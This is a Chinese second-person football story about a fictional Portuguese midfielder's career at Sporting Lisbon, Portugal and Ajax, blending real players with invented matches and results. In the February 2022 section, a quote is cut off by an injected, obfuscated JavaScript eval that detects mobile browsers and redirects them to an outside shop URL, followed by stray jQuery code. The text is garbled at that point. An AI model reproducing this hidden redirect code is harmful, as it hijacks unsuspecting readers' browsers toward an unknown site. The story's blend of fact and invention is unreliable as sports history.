2020年12月
抽签结果出来了：对手是英超冠军利物浦。
全队看完抽签后沉默了十秒钟，然后你听见有人小声说“完了”。你没有说话。
回到家后你打开电脑，看了利物浦最近五场的比赛录像，重点看他们的中场——法比尼奥、亨德森、维纳尔杜姆。
你看完后在笔记本上写了几行字：“他们也会累。只要跑得比他们多，就有机会。”
——
2021年2月
安菲尔德。你站在球员通道里，听着外面五万多人合唱《你永远不会独行》。
你的手微微发抖，不是因为害怕，是因为肾上腺素。
比赛前十分钟，利物浦的高位逼抢让你几乎喘不过气——你刚拿球就有两个人扑上来。
但你的身体撑住了。你在上半场完成了六次抢断，其中一次是从萨拉赫脚下断球——你从侧面贴近，用肩膀靠住他，脚尖把球捅走。
萨拉赫倒地看向裁判，裁判示意没犯规。利物浦球迷发出巨大的嘘声，你听不见，因为你的注意力全在下一秒。
下半场利物浦1比0领先。第八十一分钟，里斯本竞技获得角球，你站在禁区弧顶准备防守反击。
角球开出，前点没人碰到，球弹到你的脚下。你没有犹豫，一脚凌空抽射，球穿过人群击中横梁——弹回场内，队友补射被门将扑出。差一点。
终场0比1。赛后利物浦的主场球迷在你们退场时鼓掌——不是嘲讽，是认可。
你知道那掌声是给全队的，但你把它当成了给自己的燃料。
——
2021年3月
阿尔瓦拉德球场，四万九千人。你需要至少进一个球。
上半场第三十四分钟，利物浦获得角球，你头球解围后立刻前插——对方中场拿球失误，你的队友断球后斜传，你接球时面前有大片空地。
你带球推进到利物浦禁区前沿，面对补防的中后卫，你做了一次假射真扣——你的左脚把球扣到右侧，对方重心被骗开，你起右脚抽射。球贴地钻入左下角。
1比0。总比分1比1。
阿尔瓦拉德炸了，你的脑子嗡嗡的。你没有庆祝，只是跑回中圈，把球放在开球点上，指着队友喊：“继续！还没完！”
比赛进入加时。
第一百零五分钟，你的体能终于出现了预警——大腿后侧有轻微的抽筋感。
你拉伸了一下，继续跑。第一百一十二分钟，里斯本竞技获得前场任意球。你的队友主罚，球被人墙挡出，你冲上去抢第二落点，在禁区外一脚推射——球穿过人丛，被利物浦门将扑了一下，打在门柱内侧弹入网窝。
2比1。
你跪在地上，双手指天。队友们把你压在地上，你感觉肋骨快要断了，但你在笑。
终场哨响，里斯本竞技淘汰利物浦，晋级欧冠八强。
赛后你在混合采访区被记者围住。有一个英国记者问你：“你觉得你们能走多远？”你说：“我不知道。但我知道我们不会输给自己。”
——
2021年4月
八强对手是切尔西，图赫尔治下的铁血切尔西。
首回合客场，你踢了九十分钟，里斯本竞技0比0逼平对手。
次回合主场，里斯本竞技在第六十分钟先丢一球。第七十八分钟，你从中场抢断后一路推进到禁区前沿，被坎特放倒——裁判没吹，你认为那是一个犯规，但VAR没有介入。
里斯本竞技最终0比1告负，总比分0比1出局。
赛后你站在球场上没有离开，看着切尔西球员在庆祝。你蹲下来摸了摸草皮，站起来走回了更衣室。你没有哭，但你把球衣脱下来叠好，放在座位上，一句话没说。
那天晚上你失眠了。你想的不是“如果那个犯规吹了会怎样”，
你想的是“我还能不能再来一次”。
——
2021年6月
2020欧洲杯（因疫情推迟到2021年）是你第一次以主力身份参加大赛。
小组赛首轮对阵匈牙利，你首发出场，踢了八十分钟。你完成了全场最高的十一次抢断和拦截总和，葡萄牙3比0获胜。
赛后欧足联官方将你评为本场最佳球员。你站在场边接受采访时说：“我等这个机会等了十年。”记者问你后悔吗，你说：“不后悔。晚来总比不来好。”
小组赛第二轮对阵德国，葡萄牙2比4输了。
你是全队跑动最多的球员（13.8公里），但德国队的中场在你面前传递了六百多次，你觉得自己像在追风。
赛后你在更衣室里没有说话，只是坐在那里喝水。C罗走过来拍了拍你的肩膀：“下一场赢回来。”你说好。
小组赛第三轮对阵法国，生死战。你再次首发，踢满九十分钟。
葡萄牙2比2逼平法国，你完成了六次抢断，其中一次是在禁区边缘从姆巴佩脚下断球——你贴上去的时机恰到好处，姆巴佩的变向被你预判到了。
赛后法国媒体写道：“葡萄牙的24号可能是本届欧洲杯最大的发现，虽然他三十二岁了。”
八分之一决赛对阵比利时，葡萄牙0比1输了，被淘汰。
你在第六十分钟被换下时比分还是0比0，你下场后比利时在第七十三分钟进球。你坐在替补席上看到丢球的瞬间，双手捂住了脸。
你不是在哭，你是在愤怒——愤怒自己为什么没能多跑十分钟。
赛后C罗在更衣室里流了泪，你没有。你只是收拾好行李，走到大巴上，靠着窗户闭上了眼睛。你想的是：明年还有世界杯。
——
2021年8月 | 里斯本竞技
英超的邀请又来了。这一次是莱斯特城，报价一千五百万欧元。
里斯本竞技同意了，因为你的合同只剩一年。你犹豫了两周，最终拒绝了。
你对经纪人若热说：“我在里斯本竞技还没踢完。”若热问你踢完是什么意思，你说：“我想带这支球队进一次欧冠四强。”
——
2021年10月
你在对阵波尔图的比赛中完成了职业生涯第400场正式比赛。
俱乐部在赛前为你颁发了一枚纪念奖牌，你把它塞进了背包，没有挂在脖子上。
那场比赛里斯本竞技1比0赢了，你在第六十分钟助攻了全场唯一进球——你抢断后斜传边路，边锋传中，前锋头球破门。
赛后波尔图的主教练孔塞桑对记者说：“索萨是那种你看数据觉得‘就那样’，但看比赛觉得‘怎么到处都是他’的球员。”
你觉得这是对你最精准的评价。
——
2022年2月
时隔一年，里斯本竞技再次闯入欧冠淘汰赛。
这一次的对手是拜仁慕尼黑。首回合客场，里斯本竞技1比4惨败。
你在中场被基米希和穆西亚拉轮番冲击，有一段时间你觉得自己像是在防洪堤上堵漏，堵住了一个口子另一个就裂开。
赛后你在更衣室里面对垂头丧气的队友说：“还有第二回合。”没有人回应你。
次回合主场，里斯本竞技踢出了尊严。你在第三十分钟时用一记远射洞穿了诺伊尔的十指关——球从三十米外飞向球门，诺伊尔扑到了但没能挡出。
那是你欧冠生涯最漂亮的一球。全场球迷在你的名字喊了将近一分钟。
里斯本竞技最终3比2赢了拜仁，但总比分4比6出局。
赛后拜仁的主教练纳格尔斯曼在新闻发布会上说：“里斯本竞技的24号让我印象深刻。他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619751|205385||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
三十二岁了，但跑动数据像二十二岁。我不知道他怎么做到的。”
你在更衣室里听到记者转述这句话，沉默了一会儿，说：“因为我吃得少、练得多、睡得早。”
——
2022年6月 | 葡萄牙国家队
你职业生涯的第一个国家队冠军——欧国联。
葡萄牙在决赛中1比0击败荷兰，你首发出场踢了八十九分钟（最后因为拼抢导致小腿划伤被换下）。
你没有进球，没有助攻，但你在那八十九分钟里完成了九次抢断，是全场最高。
赛后欧足联的技术观察小组将你列入“决赛最佳球员候选名单”（最终输给了布鲁诺·费尔南德斯）。
你站在领奖台上，脖子上挂着金牌，手里举着奖杯。
你想起十年前在法鲁渔市的母亲、莱里亚那个铁皮更衣室、塞图巴尔那个漏雨的公寓。你笑了，不是得意，是释然。
——
2022年11月 | 卡塔尔 ·世界杯
你终于迎来了职业生涯最重要的舞台——世界杯。
葡萄牙被分在H组，同组有加纳、乌拉圭、韩国。小组赛首轮对阵加纳，你首发出场踢了七十分钟，葡萄牙3比2获胜。
第二轮对阵乌拉圭，你再次首发，踢了六十八分钟，葡萄牙2比0获胜。两连胜提前出线。
第三轮对阵韩国，轮换阵容，你坐在替补席上看了全场。
八分之一决赛对阵瑞士，你首发出场。葡萄牙6比1大胜，你在第六十分钟被换下时比分已经是4比0。
你没有刷到进球或助攻，但你在上半场的跑动覆盖为布鲁诺·费尔南德斯的两次助攻提供了“身后安全感”——这是赛后《记录报》的说法。
四分之一决赛对阵摩洛哥，葡萄牙0比1输了，被淘汰。你在第七十分钟替补出场，没能改变比分。
终场哨响后你站在球场上，看着摩洛哥球员跪地庆祝，你想起四年前在俄罗斯你也是一样坐在替补席上看着乌拉圭庆祝。
四年过去了，你从替补变成了主力，但结果没有变。
你没有哭，因为你知道这可能是你最后一届世界杯了——你三十三岁了，四年后三十七岁，不是不可能，但你不想骗自己。
——
2023年5月 | 里斯本竞技
你宣布赛季结束后离开里斯本竞技。不是退役，是离开。
你的合同到期了，俱乐部想续约但只愿意给一年短约。
你的经纪人若热建议你去荷甲或者美职联，你说“到时候再说”。
最后一场主场比赛，里斯本竞技对阵费雷拉，你首发出场。第八十二分钟，你被换下——这是热苏斯特意安排的，让你单独接受全场球迷的掌声。
你走向边线时，看台上四万多名球迷站起来鼓掌，有人举着横幅：“Vítor Sousa, da lama à estrela（从泥泞到星辰）。”
你没有哭，但你仰头看了很久的天空。你怕一低头眼泪就会掉下来。
赛后你在更衣室里把球衣叠好放在椅子上，说了一句：“帮我保管好。”
没有人回应，因为所有人都在擦眼泪。你不知道自己有没有哭，你只知道眼睛很热。
——
2023年7月 | 阿贾克斯
你加盟了阿贾克斯。荷甲，欧冠资格，还有两年的合同。
体检结果出来后，阿贾克斯的队医盯着报告看了很久，说：“你的身体年龄大概二十八岁。”你没有骄傲，因为你知道这是你每天冰敷、早睡、加练的结果。
你签下了两年的合同，年薪是里斯本竞技时期的一点五倍。新闻发布会上，有记者问你：“你为什么选择阿贾克斯而不是沙特？”你说：“因为我还没跑够。”